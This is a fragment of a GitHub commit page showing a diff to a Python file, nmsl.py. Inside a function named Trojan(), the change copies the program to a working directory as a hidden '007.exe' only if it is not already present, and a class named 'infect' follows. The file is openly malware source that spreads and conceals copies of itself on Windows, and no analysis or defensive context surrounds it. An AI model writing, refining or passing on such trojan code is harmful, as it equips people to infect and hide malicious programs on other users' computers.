We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 9f8333b commit ab9546cCopy full SHA for ab9546c
nmsl.py
@@ -30,11 +30,12 @@ def Trojan():
30
31
32
if os.getcwd()!=work_home:
33
- with open(filename,'rb') as load:
34
- page=load.read()
35
- with open(work_home+"\\007.exe",'wb') as loads:
36
- loads.write(page)
37
- win32api.SetFileAttributes(work_home+"\\007.exe",win32con.FILE_ATTRIBUTE_HIDDEN)
+ if '007.exe' not in os.listdir(work_home):
+ with open(filename,'rb') as load:
+ page=load.read()
+ with open(work_home+"\\007.exe",'wb') as loads:
+ loads.write(page)
38
+ win32api.SetFileAttributes(work_home+"\\007.exe",win32con.FILE_ATTRIBUTE_HIDDEN)
39
40
class infect:
41
def go(self):
0 commit comments